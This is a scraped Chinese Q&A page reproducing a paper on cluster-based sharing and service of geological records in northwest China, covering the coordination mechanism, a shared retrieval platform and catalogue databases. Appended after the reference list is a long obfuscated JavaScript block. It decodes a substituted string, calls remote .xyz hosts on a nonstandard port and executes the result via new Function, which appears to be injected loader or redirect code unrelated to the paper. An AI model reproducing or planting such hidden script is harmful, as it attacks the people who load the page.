西北区地质资料信息集群化服务

2025-03-25 19:04:32
推荐回答(1个)
回答1:

石小亚 王占昌 伍锦程

(中国地质调查局西安地质调查中心)

摘要 本文依托大区地质资料信息集群化示范研究课题,通过对西北区地质资料信息服务集群化服务机制的探索研究,提出建立常态化地质资料信息协同服务机制,搭建集群服务共享平台,建立集群节点体系,地质资料信息集群发布,这种集群化服务模式,将能解决地质资料信息存储分散,“孤岛”式服务,大大提高地质成果公共服务能力。

关键词 地质资料 信息服务 集群化 协同服务 共享平台

0 引言

地质资料信息是地质工作长期积累形成的重要成果的集中体现,也是地质工作服务社会的主要载体,支撑国民经济建设和社会发展的重要基础信息资源。随着经济发展和社会进步,社会各界对地质信息的需求日益强烈,但因地质资料分散式管理,使得资料信息共享、综合利用的机制和手段,以及在线业务服务能力仍相对薄弱,社会公众的可参与程度不高,激励信息消费的地质资料“生态服务社区”尚未形成,制约着地质资料信息潜在价值的有效发挥。

1 地质资料信息集群化产业化

在我国,随着云计算的落地、物联网的感知和大数据的挖掘等技术触碰,诸多行业和领域也纷纷启动了“集群”工程。2010年,国土资源部印发《推进地质资料信息服务集群化产业化工作方案》,以需求为导向,以提高地质信息的利用效率和效能为目标,以地质信息共享服务体制与机制创新为动力,构建广泛交流,服务社会的信息共享服务体系,形成信息资源合理布局,信息服务分级分类,地勘单位全面参与的地质信息共享服务新局面,促进形成数据采集、汇交、集成、更新区域服务一体化的良性运行机制,加快推进地质信息的共享服务,提升地质信息服务能力[1]。这在我国地质行业尚属首次,是对传统地质资料信息服务理念和方式的重大变革,有利于延长地质工作产业链,提高地质成果公共服务能力,解决地质资料管理上存在的突出问题,避免地质工作重复投入[2]

2 西北区地质资料信息集群化服务

在中国地质调查局发展研究中心的统筹安排下,西安地质调查中心承担了西北区地质资料信息集群化示范研究课题。课题组在“坚持公共服务、全面覆盖、互联互通、维护权益、逐步推进、共同参与”六项原则基础上,围绕集成集群、深度开发,实现资料信息化、服务社会化、发展产业化的指导方针,针对地质资料数据库建设、共享服务平台建设、数据运行环境和网络建设等方面着力开展工作,通过与西北区地勘单位合作共建,建立有效的西北区地质资料管理与服务体系;以现代化的信息技术为手段,构建区域性地质资料信息资源共享服务平台,建立地质资料信息共享机制,逐步消除或连通地质资料信息孤岛,把各自掌握的分散、孤立的地质资料信息汇集到统一的共享平台上来,加以整合应用,在西北区逐步形成能满足不同需求的分布式、多层次的地质资料信息服务能力。

2.1 西北区地质资料信息集群化服务机制

课题组协同新疆、陕西、宁夏三省区国土资源信息中心,通过调研、走访、观摩、培训、指导、协作等多种方式,为构建大区与省级地质资料共享与服务的常态机制进行了积极有效的探索和尝试,在地质资料管理机制、汇交制度、服务方式等方面达成了共识。地质资料信息“集群”应在各项管理职能全面到位的前提下,由地质资料汇交、管理和服务制度护航,遵循统一的标准规范,围绕地质资料分布式和集中式馆藏现状,针对地质资料信息多元异构数据聚合,以“节点群”为集结单元,通过网络共享平台面向不同的用户群体开展跨区域协同服务。同时以项目为纽带,加强了大区与省级的业务沟通,通过集群组网建立起常态化联动服务机制,逐步实现地质资料由传统的信息汇集型向现代的集群服务型新模式转变。

大区与省级地质资料信息协同共享与服务机制的构成要素概括如下:

1)制度保障。从地质资料的催交、接收、验收、保管、汇交等环节入手,切实履行地质资料管理制度,完善内部操作规程,确保汇交质量,为信息共享提供翔实、权威的数据源。

2)搭平台、建通道。依托信息和网络技术,搭建分级、对等、实时、高效、智能的共享服务通道,在保护地方权益的同时消除信息孤岛,扩大地质资料信息服务的领域和范围。

3)共享服务:在切实履行地质资料汇交制度的基础上,通过构建集群节点体系等技术手段建立大区与省级之间的高效服务和对等通道,实现地质资料信息共享发布与联动服务,向外界呈现无缝服务窗口(图1)。

图1 地质资料信息集群服务机制

2.2 西北区地质资料信息集群化服务平台

课题组以务实需求为导向,追踪信息技术前沿理论,紧扣地质资料信息“集群”主题,针对地质资料信息集中式和分布式馆藏现状,研制了地学空间信息检索系统,由“部、局、大区、省、地市”的“树状或网状”组网形态呈现出节点集群服务模式,为构建广泛参与、广域覆盖、互联互通的地质资料信息节点群提供运行支撑环境,为实现地质资料由传统的信息汇集型向现代的集群服务型新模式、新机制转变提供了实现手段。

地学空间信息检索系统以“数据中心”为集结核心,构筑了面向资源、面向服务的并行架构体系,通过节点凭据认证、资料发现、信息传输、数据聚合、离散化存储、松散对等、并行检索、信息重构等多项技术手段,实现了地质资料信息集群节点与架构群之间的信息汇集、跨域部署、定制访问、检索手段多样化等功能,提供了集群环境前后台可嵌入式访问接口,使地质资料多元异构信息统一组网视图的联合呈现成为可能。

在这个系统上可以实现:地质资料信息集群发布服务;基于空间约束、属性关键字及类别特征的地质资料信息检索服务;地质资料空间要素多比例尺一体化“一张图”交互操作环境。

同时针对地质资料分布式馆藏现状,通过网络通道构筑广泛参与、广域覆盖、互联互通的节点群,可呈现地质资料信息分布式运行维护、协同式聚合、集群式共享的联合组网形态和服务模式;具备向社会公众提供地质资料基于空间信息的检索服务机制;能为专业人员提供交互制图环境,能为跨行业应用提供嵌入式接口。

2.3 西北区地质资料信息集群化服务产品

课题组在协同西北区地质资料馆藏机构共同建立集群体系的前提下,联合组网并开展地质资料信息的汇聚、整理、维护、更新与发布工作;在分级共享服务方面,充分尊重地方权益,在互联互通的基础上,实现集群节点间的同步对等机制;针对共享服务平台和地质资料信息专题数据集制作产品包,按产业化服务机制向外界提供信息产品服务(图2)。

图2 西北区地质资料信息集群化服务产品

2.3.1 西北区地质资料目录数据库及地质工作程度数据库

截至2013年底,相继建成地质资料案卷级目录数据库21564档、文件级目录数据库176725条、工作程度数据库6230条。其中,陕西省地质资料目录案卷级7604 档、文件级39628 条、地质工作程度2046档;新疆地质资料目录案卷级9900档、文件级135781条、地质工作程度4154条,“358”地质工作程度系列检索图册1本;宁夏地质资料目录案卷级3194条、文件级500档、地质工作程度30条,生态移民工程分布图1套;西安地质调查中心馆藏地质资料目录案卷级866档、文件级816档。

2.3.2 西北区地质图数据库

整理并发布了全国1:250万地质图数据库,制作了全国2.5维DEM地势模型镶嵌影像图,整理制作了青藏高原寒武纪、奥陶纪、泥盆纪古地理图和全国水工环“十二五”工作部署图等多种数据源,还将全球1:3500万地质图数据库、全国1:250万地质图数据库等导入至数据中心,向外界提供了基于位置的“穿透式”地质体属性特征多比例尺权重解析服务。

2.3.3 专题服务产品开发

在开展重要成矿区带地质资料信息服务集群化技术指南和地质资料信息专题服务产品编研的基础上,编制完成了《新疆“358”地质工作程度系列检索图册》,直观地揭示了新疆整装勘查区和重点成矿区带内地质工作程度的现状,针对成矿区带地质资料信息集群形成了具有示范指导意义的技术流程,为地方性项目设置和规划部署提供决策依据。

收集了宁夏回族自治区生态移民区的分布范围、人口数量等基本情况,将馆藏的环境地质、水文地质、地震地质、矿产地质等资料运用到宁夏中南部生态移民工程中,确立了迁出区和迁入区,完成了生态移民区分布图的编制工作。

3 西北区地质资料信息集群化服务模式

通过对地质资料的集成集群和深度开发,采用信息领域前沿技术,疏通地质资料信息管理与服务渠道并构建行业级共享服务平台,将分散、孤立的地质资料进行分布式汇集,建立统一的数据标准体系,在持续更新维护的基础上,通过开展横向联结和纵向延伸服务,全方位、多角度展现、解读、挖掘地质资料信息内涵;地质资料信息服务也由传统的借阅式服务方式向知识型服务模式转变,行业级地质资料信息集群服务的模式已具雏形。

1)建立常态化地质资料信息协同服务。通过健全制度、项目支撑、业务沟通、技术协作、经验交流、虚拟团队等方式,开展省级及大区协同服务机制,逐步建立常态化地质资料信息集群协同服务。

2)搭建集群服务共享平台。针对全国地质资料分布式馆藏的特点,从集群技术实现的角度出发,每个馆藏机构均能构成可独立运行的节点;“节点群”由门户聚合器和服务接口两大部分组成,通过数据互联互通和功能对等协同等技术,可呈现分布式运维、协同式聚合、集群式共享。通过网络共享平台面向不同的用户群体开展跨区域协同服务。

3)建立集群节点体系。通过计算机软硬件部署和网络节点配置,建立基础运行环境,在国土资源信息中心和地勘单位,安装部署了集群共享平台“地学空间信息检索系统”。与大区中心、地调局实现了协同组网,呈现了地质资料信息集群联合服务态势。

4)每个集群节点遵照相应的管理制度、技术标准,采用统一的数据格式转换工具,整理并发布非涉密的各类地质资料(图3),实现地质资料信息集群服务[3]

图3 地质资料信息集群服务发布

4 结语

对比发达国家地质调查成果管理与社会化服务,现阶段我国地质资料管理与服务尚存较大差距。通过对地质资料信息服务集群化机制和服务模式的探索研究,提出的解决方案是:常态化管理机制和顺畅的运行模式是实现地质资料信息“集群”的前提保障,共享平台的建设是向外界提供地质资料信息管理与服务的重要手段,翔实而权威的地质资料信息是“集群”的根本。切实做好地质资料集群化服务,将会有效解决地质资料信息存储分散,“孤岛”式服务,大大提高地质成果公共服务的能力。

参考文献

[1]邹礼卿.地质资料信息服务集群化产业化开启[J].国土资源导刊,2011(10):38~39.

[2]高兵,王永生.地质资料信息服务集群化产业化政策问题探讨[J].资源与产业,2010(S1):75~76.

[3]刘春娥,王占昌,张红英.地质资料信息节点群呈现机理分析[J].中国矿业,2013(9):69~72.

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();